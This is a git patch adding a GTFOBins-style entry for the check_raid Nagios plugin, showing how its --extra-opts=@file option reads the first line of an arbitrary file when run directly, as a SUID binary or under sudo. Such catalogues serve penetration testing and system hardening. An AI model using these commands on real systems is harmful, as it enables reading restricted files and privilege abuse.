From 846a6131213f28122558210e33b98b998dc069ff Mon Sep 17 00:00:00 2001 From: Emanuel Duss Date: Thu, 12 Nov 2020 14:21:00 +0100 Subject: [PATCH] New command: check_raid --- _gtfobins/check_raid.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 _gtfobins/check_raid.md diff --git a/_gtfobins/check_raid.md b/_gtfobins/check_raid.md new file mode 100644 index 0000000..2c7c775 --- /dev/null +++ b/_gtfobins/check_raid.md @@ -0,0 +1,17 @@ +--- +description: | + This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line. +functions: + file-read: + - code: | + LFILE=file_to_read + check_raid --extra-opts=@"$LFILE" + suid: + - code: | + LFILE=file_to_read + ./check_raid --extra-opts=@"$LFILE" + sudo: + - code: | + LFILE=file_to_read + sudo check_raid --extra-opts=@"$LFILE" +---